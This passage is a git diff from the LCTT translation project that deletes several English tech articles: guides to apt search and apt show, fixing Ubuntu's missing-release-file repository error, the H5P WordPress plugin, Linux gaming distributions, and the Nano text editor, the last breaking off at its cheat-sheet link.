gambas -``` - -Why did Ubuntu not find the gambas package? Because there is no such package called gambas. Instead, it is available as gambas3. This is a situation where you could take the advantage of the apt search command. - -Let’s move to apt show command. This command provides detailed information about a package, its repository, dependencies and a lot more. - -Knowing what version of a package is available from the official repository could help you in deciding whether you should install it from some other sources. - -Quick recall - -The apt package manager works on a local database/cache of available packages from various repositories. This database contains the information about the available package version, dependencies etc. It doesn’t contain the entire package itself. The packages are downloaded from the remote repositories. - -When you run the sudo apt update command, this cache is created/updated in the /var/lib/apt/lists/ directory. The apt search and apt show commands utilize this cache. - -The term package is used for an application, program, software. - -### Search for available packages using apt search command - -![][9] - -Let me continue the gambas example. Say, you search for - -``` -apt search gambas -``` - -It will give you a huge list of packages that have “gambas” in its name or description. This output list is in alphabetical order. - -Now, you’ll of course have to make some intelligent prediction about the package you want. In this example, the first result says “Complete visual development environment for Gambas”. This gives you a good hint that this is the main package you are looking for. - -![][10] - -Why so many packages associated with gambas? Because a number of these gambas packages are probably dependencies that will installed automatically if you install the gambas3 package. If you use the _‘apt show gambas3_‘ command, it will show all the dependencies that will be installed with gambas3 package. - -Some of these listed packages could be libraries that a developer may need in some special cases while developing her/his software. - -#### Use apt search for package name only - -By default, apt search command looks for the searched term in both the name of the package and its description. - -You may narrow down the search by instructing the apt command to search for package names only. - -``` -apt search --names-only search_term -``` - -If you are following this as a tutorial, give it a try. Check the output with search term ‘transitional’ with and without –names-only option and you’ll see how the output changes. - -``` -apt search transitional -apt search --names-only transitional -``` - -**Bonus Tip**: You can use ‘apt list –installed’ command to [look for installed packages in Ubuntu][11]. - -### Get detailed information on a package using apt show command - -The output of the apt search commands a brief introduction of the packages. If you want more details, use the apt show command. - -``` -apt show exact_package_name -``` - -The apt show command works on the exact package name and it gives you a lot more information on the package. You get: - - * Version information - * Repository information - * Origin and maintainer of the package information - * Where to file a bug - * Download and installation size - * Dependencies - * Detailed description of the package - * And a lot more - - - -Here’s an example: - -![][12] - -You need to give the exact package name otherwise the apt show won’t work. The good thing is that tab completion works apt show command. - -As you can see in the previous image, you have plenty of information that you may found helpful. - -The apt show command also works on installed packages. In that case, you can see which source the package was installed from. Was it a PPA or some third-party repository or universe or the main repository itself? - -Personally, I use apt show a lot. This helps me know if the package version provided by Ubuntu is the latest or not. Pretty handy tool! - -### Conclusion - -If you read my detailed [guide on the difference between apt and apt-get commands][13], you would know that this ‘apt search’ command works similar to ‘apt-cache search’. There is no such command as “apt-get search”. - -The purpose of creating apt command is to give you one tool with only enough option to manage the packages in your Debian/Ubuntu system. The apt-get, apt-cache and other apt tools still exist, and they can be used in scripting for more complex scenarios. - -I hope you found this introduction to **apt search** and **apt show** commands useful. I welcome your questions and suggestions on this topic. - -If you liked it, please share it on various Linux forums and communities you frequent. That helps us a lot. Thank you. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/apt-search-command/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://wiki.debian.org/Apt -[2]: https://itsfoss.com/ubuntu-repositories/ -[3]: https://ubuntu.com/ -[4]: https://itsfoss.com/apt-command-guide/ -[5]: https://itsfoss.com/root-user-ubuntu/ -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/apt-search-apt-show-example-800x493.png?resize=800%2C493&ssl=1 -[7]: https://itsfoss.com/install-gambas-ubuntu/ -[8]: https://itsfoss.com/unable-to-locate-package-error-ubuntu/ -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/apt-search-command.png?ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/apt-search-command-example.png?fit=800%2C297&ssl=1 -[11]: https://itsfoss.com/list-installed-packages-ubuntu/ -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/apt-show-command-example-800x474.png?resize=800%2C474&ssl=1 -[13]: https://itsfoss.com/apt-vs-apt-get-difference/ diff --git a/sources/tech/20200525 What to do When You See -Repository does not have a release file- Error in Ubuntu.md b/sources/tech/20200525 What to do When You See -Repository does not have a release file- Error in Ubuntu.md deleted file mode 100644 index 6cfd9f34de..0000000000 --- a/sources/tech/20200525 What to do When You See -Repository does not have a release file- Error in Ubuntu.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What to do When You See “Repository does not have a release file” Error in Ubuntu) -[#]: via: (https://itsfoss.com/repository-does-not-have-release-file-error-ubuntu/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -What to do When You See “Repository does not have a release file” Error in Ubuntu -====== - -One of the [several ways of installing software in Ubuntu][1] is by using PPA or adding third-party repositories. A few magical lines give you easy access to a software or its newer version that is not available by default in [Ubuntu][2]. - -All thing looks well and good until you get habitual of adding additional third-party repositories and one day, you see an error like this while [updating Ubuntu][3]: - -**E: The repository ‘ focal Release’ does not have a Release file. -N: Updating from such a repository can’t be done securely, and is therefore disabled by default. -N: See apt-secure(8) manpage for repository creation and user configuration details.** - -In this tutorial for Ubuntu beginners, I’ll explain what does this error mean, why do you see it and what can you do to handle this error? - -### Understanding “Repository does not have a release file” error - -![][4] - -Let’s go step by step here. The error message is: - -**E: The repository ‘ focal release’ does not have a release file** - -The important part of this error message is “focal release”. - -You probably already know that [each Ubuntu release has a codename][5]. For Ubuntu 20.04, the codename is Focal Fossa. The “focal” in the error message indicates Focal Fossa which is Ubuntu 20.04. - -The error is basically telling you that though you have added a third-party repository to your system’s sources list, this new repository is not available for your current Ubuntu version. - -_**Why so? Because probably you are using a new version of Ubuntu and the developer has not made the software available for this new version.**_ - -At this point, I highly recommend reading my detailed guides on [PPA][6] and [Ubuntu repositories][7]. These two articles will give you a better, in-depth knowledge of the topic. Trust me, you won’t be disappointed. - -### How to know if the PPA/third party is available for your Ubuntu version [Optional] - -First you should [check your Ubuntu version and its codename][8] using ‘lsb_release -a’ command: - -``` -[email protected]:~$ lsb_release -a -No LSB modules are available. -Distributor ID: Ubuntu -Description: Ubuntu 20.04 LTS -Release: 20.04 -Codename: focal -``` - -As you can see, the codename it shows is focal. Now the next thing you can do is to go to the website of the software in question. - -This could be the tricky part but you can figure it out with some patience and effort. - -In the example here, the error complained about ****. It is a PPA repository and you may easily find its webpage. How, you may ask. - -Use Google or a [Google alternative search engine][9] like Duck Duck Go and search for “ppa numix”. This should give you the first result from [launchpad.net][10] which is the website used for hosting PPA related code. - -On the webpage of the PPA, you can go to the “Overview of published packages” and filter it by the codename of your Ubuntu version: - -![][11] - -For non-PPA third-party repository, you’ll have to check of the official website of the software and see if the repository is available for your Ubuntu version or not. - -### What to do if the repository is not available for your Ubuntu version - -In case when the repository in question is not available for your Ubuntu version, here’s what you can do: - - * Delete the troublesome repository from your list of repository so that you don’t see the error every time you run the update. - * Get the software from another source (if it is possible). - - - -To delete the troublesome repository, start Software & Updates tool: - -![][12] - -Go to the Other Software tab and look for the repository in question. Highlight it and then click on Remove button to delete it from your system. - -![Remove Ppa][13] - -This will [delete the PPA][14] or the repository in question. - -Next step is to get the software from some other source and that’s totally subjective. In some cases, you can still download the DEB file from the PPA website and use the software (I have explained the steps in the [PPA guide][6]). Alternatively, you can check the project’s website if there is a Snap/Flatpak or Python version of the software available. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/repository-does-not-have-release-file-error-ubuntu/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/install-remove-software-manjaro/ -[2]: https://ubuntu.com/ -[3]: https://itsfoss.com/update-ubuntu/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/Repository-does-not-have-a-release-file.png?ssl=1 -[5]: https://itsfoss.com/linux-code-names/ -[6]: https://itsfoss.com/ppa-guide/ -[7]: https://itsfoss.com/ubuntu-repositories/ -[8]: https://itsfoss.com/how-to-know-ubuntu-unity-version/ -[9]: https://itsfoss.com/privacy-search-engines/ -[10]: https://launchpad.net/ -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/check-repo-version.png?ssl=1 -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/software-updates-settings-ubuntu-20-04.jpg?ssl=1 -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/remove-ppa.jpg?ssl=1 -[14]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ diff --git a/sources/tech/20200526 Create interactive content in WordPress with the H5P plugin.md b/sources/tech/20200526 Create interactive content in WordPress with the H5P plugin.md deleted file mode 100644 index 871439e73a..0000000000 --- a/sources/tech/20200526 Create interactive content in WordPress with the H5P plugin.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create interactive content in WordPress with the H5P plugin) -[#]: via: (https://opensource.com/article/20/5/h5p-wordpress) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -Create interactive content in WordPress with the H5P plugin -====== -Turn your WordPress site into an interactive learning management system -with this open source plugin. -![Family learning and reading together at night in a room][1] - -WordPress is best known as a website content management system, but it also a great [learning management system][2] (LMS) for delivering online courses. If that is what you are looking for out of WordPress, then [H5P][3] should be the top plugin on your list. - -H5P is a way to create and share interactive HTML5 content, including presentations, games, quizzes, forms, and more, in a browser. You can download a wide variety of content types from H5P's [Examples and Downloads][4] page, or you can create unique content to embed in your WordPress site. - -H5P provides plugins and integrations for WordPress, Moodle, Drupal, Canvas, Brightspace, Blackboard, and more. In this article, I will show how to use H5P in WordPress to create a reading comprehension quiz for students. - -### Install the H5P plugin - -The first step is to install the plugin. Log into your WordPress admin panel, go to **Plugins**, select **Add New**, and search for **H5P** in the Plugins field. When you find it, select **Install Now**. - -![Adding the H5P plugin][5] - -(Don Watkins, [CC BY-SA 4.0][6]) - -H5P should now appear in the list of installed plugins. Be sure to **Activate** the plugin by going to the H5P menu at the bottom of your WordPress admin panel and clicking the button. You will see the following display—be sure to consent so you can connect to the H5P Hub. - -![H5P consent option][7] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Now you can begin adding H5P content to your WordPress installation. - -### Create a quiz - -One of my favorite poems is Robert Frost's "The Road Not Taken." Suppose you are teaching a class that is studying this poem, and one of your objectives is for your students to remember the poem's author. First, create a new WordPress post on your site that contains the poem's text and its author. - -![Creating a WordPress post][8] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Now you want to test your students' comprehension with an HTML5 interactive content embedded below the poem. - -In the WordPress admin panel, look near the bottom for the **H5P Content** menu and select it. In the menu that appears, click **Add New**. - -![H5P Content menu][9] - -(Don Watkins, [CC BY-SA 4.0][6]) - -You will see an array of content options that are available. Since you want to create a multiple-choice quiz, look for the **Multiple Choice** option and click **Get** to its right. - -![H5P content types][10] - -(Don Watkins, [CC BY-SA 4.0][6]) - -A form will open for you to start creating the quiz. Fill in the required fields (marked with a red asterisk)—give your quiz a title (e.g., "Road Not Taken Quiz"), enter a question (e.g., "Who wrote, 'The Road Not Taken'?") and correct and incorrect answers, and select the correct answer in the dialog box. When you finish creating the quiz, save the content. - -![H5P quiz][11] - -(Don Watkins, [CC BY-SA 4.0][6]) - -### Embed the quiz in a post - -Now you're ready to insert the quiz exactly where you want it to appear in your post. Open the post where you want to put the quiz (e.g., "The Road Not Taken" post) in your WordPress editor, and you should see an **Add H5P** button near the top of the interface. Place your cursor wherever you want the quiz to appear in the post, and click **Add H5P**. Your H5P content will appear in a dialog box like this: - -![H5P list of interactive content][12] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Select the content you want, and H5P will insert an embed code (e.g., `[h5p id="1"]`) in the post, like this: - -![H5P embed code in a post][13] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Save your post, then open it in your browser. The quiz is exactly where you wanted it to appear in the post: - -![H5P quiz shown in the post][14] - -(Don Watkins, [CC BY-SA 4.0][6]) - -When a student answers this question correctly, they get pleasant visual feedback: - -![Correct answer selection][15] - -(Don Watkins, [CC BY-SA 4.0][6]) - -### The possibilities are endless - -H5P offers a wide range of options to add interactivity to WordPress posts. In this example, you could have created a more complex set of multiple-choice questions. H5P also has lots of other content types, including interactive video, arithmetic quizzes, an audio recorder, image hotspots, fill-in-the-blank quizzes, and [many more][4]. - -H5P also provides [excellent documentation][16] and [great tutorials][17] to help anyone who wants to use the plugin on their WordPress site. H5P software is open source under the [MIT License][18] with the code available on [GitHub][19]. H5P also welcomes contributions to the community; check out the [developer guide][20] for more information. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/h5p-wordpress - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/family_learning_kids_night_reading.png?itok=6K7sJVb1 (Family learning and reading together at night in a room) -[2]: https://en.wikipedia.org/wiki/Learning_management_system -[3]: https://h5p.org/ -[4]: https://h5p.org/content-types-and-applications -[5]: https://opensource.com/sites/default/files/uploads/addplugins-h5p.png (Adding the H5P plugin) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/h5p-consent.png (H5P consent option) -[8]: https://opensource.com/sites/default/files/uploads/wordpress-post.png (WordPress post) -[9]: https://opensource.com/sites/default/files/uploads/h5p-content-menu.png (H5P Content menu) -[10]: https://opensource.com/sites/default/files/uploads/h5p-content-types.png (H5P content types) -[11]: https://opensource.com/sites/default/files/uploads/h5p-multiple-choice-quiz.png (H5P quiz) -[12]: https://opensource.com/sites/default/files/uploads/h5p-insert-interactive-content.png (H5P list of interactive content) -[13]: https://opensource.com/sites/default/files/uploads/h5p-embedded-content.png (H5P embed code in a post) -[14]: https://opensource.com/sites/default/files/uploads/h5p-quiz.png (H5P quiz shown in the post) -[15]: https://opensource.com/sites/default/files/uploads/h5p-correct-answer.png (Correct answer selection) -[16]: https://h5p.org/documentation/setup/wordpress -[17]: https://h5p.org/documentation/for-authors/tutorials -[18]: https://h5p.org/MIT-licensed -[19]: https://github.com/h5p -[20]: https://h5p.org/developers diff --git a/sources/tech/20200528 4 Linux distributions for gaming.md b/sources/tech/20200528 4 Linux distributions for gaming.md deleted file mode 100644 index 2453d9c6a8..0000000000 --- a/sources/tech/20200528 4 Linux distributions for gaming.md +++ /dev/null @@ -1,97 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 Linux distributions for gaming) -[#]: via: (https://opensource.com/article/20/5/linux-gaming) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -4 Linux distributions for gaming -====== -Linux offers plenty of great options for a work/play combo or a full -gaming console setup. Take our poll to tell us your favorite. -![Gaming with penguin pawns][1] - -Gaming on Linux got a thorough kickstart in 2013 when Valve announced that their own SteamOS would be written on top of Linux. Since then, Linux users could realistically expect to play high-grade games that, in the past, required the purchase of a Windows computer or gaming console. The experience got off to a modest start, with just a few brave companies like CD Projekt Red, Deep Silver, Valve itself, and others putting the Linux penguin icon in their compatibility list, but eventually, even Gearbox and Square Enix were releasing their biggest titles on Linux. Today, [Valve's Proton project][2] helps ensure that even titles with no formal Linux release still work on SteamOS and other Linux distributions. - -Valve didn't singlehandedly drag gaming into Linux, though. Well before Valve's initiative, there have been excellent independent games, blockbusters from id Software, and open source [gaming emulators][3] for Linux. Whether you want to play the latest releases or you want to relive classics from gaming history, Linux provides the only open source platform for your game rig. Here's an overview of what you might consider running on it. - -### SteamOS - -![Steam OS][4] - -If you're looking for the full gaming PC experience—in which there's no difference between your desktop computer and a game console—then SteamOS is the obvious choice. On the one hand, there's nothing particularly special about SteamOS; it's essentially just [Debian Linux][5] with Steam set as the default startup application. When you boot your computer, Steam starts automatically, and you can interact with it using only your [Steam controller][6] or any [Xbox-style gamepad][7]. You can create the same configuration by installing Steam on any distribution and setting its "Big Picture mode" as a startup item. - -However, SteamOS is ultimately specific to its purpose as a game console. While you can treat SteamOS as a normal desktop, the design choices of the distribution make it clear that it's intended as the frontend to a dedicated gaming machine. This isn't the distribution you're likely to use for your daily office or schoolwork. It's the "firmware" (except it's actually software) of a gaming console, first and foremost. When you're looking for a seamless, reliable, self-maintaining game console, build the machine of your dreams and install SteamOS. - -### Lakka - -![Lakka OS][8] - -Similar in spirit to SteamOS, Lakka recreates the Playstation 3 interface, but for retro gaming. I installed Lakka on a Raspberry Pi Rev 1 using [Etcher][9] and was pleasantly surprised to find it ready for gaming upon bootup. Lakka loads to an interface that's eerily familiar to PS3 gamers, and, like a Playstation, you can control everything using just a [game controller][10]. - -Lakka focuses on retro gaming, meaning that, instead of Steam, it provides game emulators for old systems and engines. Provided you have ROM images, you can use the emulators to play games from Nintendo, Sega Genesis, Dreamcast, N64, or homebrew titles like [POWDER][11], [Warcraft Tower Defense][12], and others. - -Lakka doesn't ship with any games, but it makes it easy for you to add games over SSH or Samba shares. Even if you've never used SSH or set up Samba (you've probably used it without knowing it), Lakka makes it easy to find your retro gaming system over your own network, so you can add games to it using whatever OS you have handy. - -### Pop_OS! - -![PopOS][13] - -Not everyone is trying to build a game console—modern, retro, or otherwise. Sometimes, all you really want is a good computer with the ability to run games at top performance. [System76][14] maintains a desktop they call Pop_OS!, designed around the standard GNOME desktop with some custom additions. Pop_OS! doesn't do much by way of innovation, but it makes an impact in the way its designers maintain convenient defaults. For gamers, this includes easy access to Steam, Proton, WINE, game emulators, PlayOnLinux, automatic game controller recognition and configuration, and more. It's not far from its Ubuntu roots, but it has been refined just enough to make a noticeable difference. - -When you're not playing games, Pop_OS! is also a wonderful productivity-focused desktop. It uses all of GNOME's built-in conveniences (such as the quick Activities menu overlay) to maximize efficiency, and adds useful modifications to bring the desktop closer to the universal expectation that's grown from decades of traditions founded in KDE Plasma, Finder, and Explorer. Pop_OS! is an intuitive and understated environment that helps you focus on whatever you're working on, until you break out the gaming gear, and then it makes sure you spend your time on entertainment instead of configuration. - -### Drauger OS - -![Drauger OS][15] - -Situated somewhere between a dedicated gaming console and a plain old desktop is Drauger OS, with a simple interface designed to stay out of your way while also making it quick and easy to access the game applications you need. Drauger is still a young project, but it represents an interesting philosophy of computing and gaming—conserve every last resource for the task at hand. To that end, Drauger OS does away with the concept of a traditional desktop and instead provides a simplified control panel that lets you launch your game client (such as Steam, PlayOnLinux, Lutris, and so on), and configure services (such as your network) or launch an application. It's a little disorienting at first, especially because the control panel is designed to more or less disappear when in the background, but after an afternoon of interaction, you realize that the complexity of a full desktop is mostly unnecessary. The point of any computer is rarely its desktop. What you really care about is getting into an application as quickly and easily as possible, and then for that application to perform well. - -The other side of this equation is performance. While having a drastically simplified desktop helps, Drauger OS attempts to maximize game performance by using a low-latency kernel. A kernel is the part of your operating system that communicates with external devices, such as game controllers and mice and keyboards, and even hard drives, memory, and video cards. An all-purpose kernel, such as the one that ships with most Linux distributions, gives more or less equal attention to all processes. A low-latency kernel can favor specific processes, including video and graphics, to ensure that calculations performed for important tasks are returned promptly, while mundane system tasks are assigned less importance. Drauger's Linux kernel is tuned for performance, so your games get top priority over all other processes. - -### The Linux of your choice - -![Pantheon OS][16] - -Looking past the self-declared focal points of individual "gaming distributions," one Linux is ultimately essentially the same as the next Linux. Amazingly, I play games even on my RHEL laptop, a distribution famous for its enterprise IT support, thanks to the [Flatpak Steam installer][17]. If you want to game on Linux in this decade, your question isn't how to do it but which system to use. - -The easiest answer to which Linux to use is, ultimately, to choose whatever Linux works best on your hardware. When you find a Linux distribution that boots and recognizes your computer hardware, your game controllers, and lets you play your games. Once you find that, install the games of your choice and get busy playing. - -There are more great Linux distributions for gaming out there, including the [Fedora Games Spin][18], [RetroPie][19], [Clear Linux][20], [Manjaro][21], and so many more. What's your favorite? Tell us in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/linux-gaming - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) -[2]: https://github.com/ValveSoftware/Proton -[3]: https://opensource.com/article/18/10/lutris-open-gaming-platform -[4]: https://opensource.com/sites/default/files/uploads/screenshot_from_2020-05-15_15-53-15_0.png (Steam OS) -[5]: http://debian.org -[6]: https://store.steampowered.com/app/353370/Steam_Controller/ -[7]: https://www.logitechg.com/en-nz/products/gamepads/f710-wireless-gamepad.940-000119.html -[8]: https://opensource.com/sites/default/files/uploads/os-lakka_0.png (Lakka OS) -[9]: https://www.balena.io/etcher/ -[10]: https://www.logitechg.com/en-nz/products/gamepads/f310-gamepad.940-000112.html -[11]: http://www.zincland.com/powder/index.php?pagename=about -[12]: https://ndswtd.wordpress.com/ -[13]: https://opensource.com/sites/default/files/uploads/os-pop_os_0.jpg (PopOS) -[14]: https://system76.com/ -[15]: https://opensource.com/sites/default/files/uploads/os-drauger_0.jpg (Drauger OS) -[16]: https://opensource.com/sites/default/files/uploads/os-pantheon_0.jpg (Pantheon OS) -[17]: https://flathub.org/apps/details/com.valvesoftware.Steam -[18]: https://labs.fedoraproject.org/en/games/ -[19]: https://retropie.org.uk/ -[20]: https://clearlinux.org/software/bundle/games -[21]: http://manjaro.org diff --git a/sources/tech/20200528 Getting Started With Nano Text Editor -Beginner-s Guide.md b/sources/tech/20200528 Getting Started With Nano Text Editor -Beginner-s Guide.md deleted file mode 100644 index 90874df3e9..0000000000 --- a/sources/tech/20200528 Getting Started With Nano Text Editor -Beginner-s Guide.md +++ /dev/null @@ -1,246 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Getting Started With Nano Text Editor [Beginner’s Guide]) -[#]: via: (https://itsfoss.com/nano-editor-guide/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Getting Started With Nano Text Editor [Beginner’s Guide] -====== - -[Nano][1] is the default [terminal-based text editor][2] in Ubuntu and many other Linux distributions. Though it is less complicated to use than the likes of [Vim][3] and [Emacs][4], it doesn’t mean Nano cannot be overwhelming to use. - -In this beginner’s guide, I’ll show you how to use the Nano text editor. I am also going to include a downloadable PDF cheat sheet at the end of the article so that you can refer to it for practicing and mastering Nano editor commands. - -If you are just interested in a quick summary of Nano keyboard shortcuts, please expand the next section. - -Essential Nano keyboard shortcuts (click to expand) - -**Shortcut** | **Description** ----|--- -nano filename | Open file for editing in Nano -Arrow keys | Move cursor up, down, left and right -Ctrl+A, Ctrl+E | Move cursor to start and end of the line -Ctrl+Y/Ctrl+V | Move page up and down -Ctrl+_ | Move cursor to a certain location -Alt+A and then use arrow key | Set a marker and select text -Alt+6 | Copy the selected text -Ctrl+K | Cut the selected text -Ctrl+U | Paste the selected text -Ctrl+6 | Cancel the selection -Ctrl+K | Cut/delete entire line -Alt+U | Undo last action -Alt+E | Redo last action -Ctrl+W, Alt+W | Search for text, move to next match -Ctrl+\ | Search and replace -Ctrl+O | Save the modification -Ctrl+X | Exit the editor - -### How to use Nano text editor - -![][5] - -I presume that you have Nano editor installed on your system already. If not, please your distribution’s package manager to install it. - -#### Getting familiar with the Nano editor interface - -If you’ve ever [used Vim][6] or Emacs, you’ll notice that using Nano is a lot simpler. You can start writing or editing text straightaway. - -Nano editor also shows important keyboard shortcuts you need to use for editing at the bottom of the editor. This way you won’t get stuck at [exiting the editor like Vim][7]. - -The wider your terminal window, the more shortcuts it shows. - -![Nano Editor Interface][8] - -You should get familiar with the symbols in Nano. - - * The caret symbol (^) means Ctrl key - * The M character mean the Alt key - - - -When it says “^X Exit”, it means to use Ctrl+X keys to exit the editor. When it says “M-U Undo”, it means use Alt+U key to undo your last action. - -#### Open or create a file for editing in Nano - -You can open a file for editing in Nano like this: - -``` -nano my_file -``` - -If the file doesn’t exist, it will still open the editor and when you exit, you’ll have the option for saving the text to my_file. - -You may also open a new file without any name (like new document) with Nano like this: - -``` -nano -``` - -#### Basic editing - -You can start writing or modifying the text straightaway in Nano. There are no special insert mode or anything of that sort. It is almost like using a regular text editor, at least for writing and editing. - -As soon as you modify anything in the file, you’ll notice that it reflects this information on the editor. - -![][9] - -Nothing is saved immediately to the file automatically unless you explicitly do so. When you exit the editor using Ctrl+X keyboard shortcut, you’ll be asked whether you want to save your modified text to the file or not. - -#### Moving around in the editor - -Mouse click doesn’t work here. Use the arrow keys to move up and down, left and right. - -You can use the Home key or Ctrl+A to move to the beginning of a line and End key or Ctrl+E to move to the end of a line. Ctrl+Y/Page Up and Ctrl+V/Page Down keys can be used to scroll by pages. - -If you want to go a specific location like last line, first line, to a certain text, use Ctrl+_ key combination. This will show you some options you can use at the bottom of the editor. - -![Jump to a specific line in Nano][10] - -#### Cut, copy and paste in Nano editor - -If you don’t want to spend too much time remembering the shortcuts, use mouse. - -Select a text with mouse and then use the right click menu to copy the text. You may also use the Ctrl+Shift+C [keyboard shortcut in Ubuntu][11] terminal. Similarly, you can use the right click and select paste from the menu or use the Ctrl+Shift+V key combination. - -**Nano specific shortcuts for copy and pasting** - -Nano also provides its own shortcuts for cutting and pasting text but that could become confusing for beginners. - -Move your cursor to the beginning of the text you want to copy. Press Alt+A to set a marker. Now use the arrow keys to highlight the selection. Once you have selected the desired text, you can Alt+6 key to copy the selected text or use Ctrl+K to cut the selected text. Use Ctrl+6 to cancel the selection. - -Once you have copied or cut the selected text, you can use Ctrl+U to paste it. - -![][12] - -#### Delete text or lines in Nano - -There is no dedicated option for deletion in Nano. You may use the Backspace or Delete key to delete one character at a time. Press them repeatedly or hold them to delete multiple characters. - -You can also use the Ctrl+K keys that cuts the entire line. If you don’t paste it anywhere, it’s as good as deleting a line. - -If you want to delete multiple lines, you may use Ctrl+K on all of them one by one. - -Another option is to use the marker (Ctrl+a). Set the marker and move the arrow to select a portion of text. Use Ctrl+K to cut the text. No need to paste it and the selected text will be deleted (in a way). - -#### Undo or redo your last action - -Cut the wrong line? Pasted the wrong text selection? It’s easy to make such silly mistakes and it’s easy to correct those silly mistakes. - -You can undo and redo your last actions using: - - * Alt+U : Undo - * Alt +E : Redo - - - -You can repeat these key combinations to undo or redo multiple times. - -#### Search and replace - -If you want to search for a certain text, use Ctrl+W and then enter the term you want to search and press enter. The cursor will move to the first match. To go to the next match, use Alt+W keys. - -![][13] - -By default, the search is case-insensitive. You can also use regex for the search terms. - -If you want to replace the searched term, use Ctr+\ keys and then enter the search term and press enter key. Next it will ask for the term you want to replace the searched items with. - -![][14] - -The cursor will move to the first match and Nano will ask for your conformation for replacing the matched text. Use Y or N to confirm or deny respectively. Using either of Y or N will move to the next match. You may also use A to replace all matches. - -![][15] - -#### Save your file while editing (without exiting) - -In a graphical editor, you are probable used to of saving your changes from time to time. In Nano, you can use Ctrl+O to save your changes you made to the file. It also works with a new, unnamed file. - -![][16] - -Nano actually shows this keyboard shortcut at the bottom but it’s not obvious. It says “^O Write Out” which actually means to use Ctrl+O (it is letter O, not number zero) to save your current work. Not everyone can figure that out. - -In a graphical text editor, you probably use Ctrl+S to save your changes. Old habits die hard but it could cause trouble. Out of habit, if you accidentally press Ctrl+S to save your file, you’ll notice that the terminal freezes and you can do nothing. - -If you accidentally press Ctrl+S press Ctrl+Q nothing can be more scary than a frozen terminal and losing the work. - -#### Save and exit Nano editor - -To exit the editor, press Ctrl+X keys. When you do that, it will give you the option to save the file, or discard the file or cancel the exit process. - -![][17] - -If you want to save the modified file as a new file (save as function in usual editors), you can do that as well. When you press Ctrl+X to exit and then Y to save the changes, it gives the option to which file it should save the changes. You can change the file name at this point. - -You’ll need to have ‘write permission’ on the file you are editing if you want to save the modifications to the file. - -#### Forgot keyboard shortcut? Use help - -Like any other terminal based text editor, Nano relies heavily on keyboard shortcuts. Though it displays several useful shortcuts on the bottom of the editor, you cannot see all of them. - -It is not possible to remember all the shortcuts, specially in the beginning. What you can do is to use the Ctrl+G keys to bring up the detailed help menu. The help menu lists all the keyboard shortcuts. - -![][18] - -#### Always look at the bottom of the Nano editor - -If you are using Nano, you’ll notice that it displays important information at the bottom. This includes the keyboard shortcuts that will be used in the scenario. It also shows the last action you performed. - -![][19] - -If you get too comfortable with Nano, you can get more screen for editing the text by disabling the shortcuts displayed at the bottom. You can use Alt+X keys for that. I don’t recommend doing it, to be honest. Pressing Alt+X brings the shortcut display back. - -### Download Nano cheatsheet [PDF] - -There are a lot more shortcuts and editing options in Nano. I am not going to overwhelm you by mentioning them all. - -Here’s a quick summary of the important Nano keyboard shortcuts you should rememeber. Download link is under the image. - -![][20] - -[Download Nano Cheat Sheet 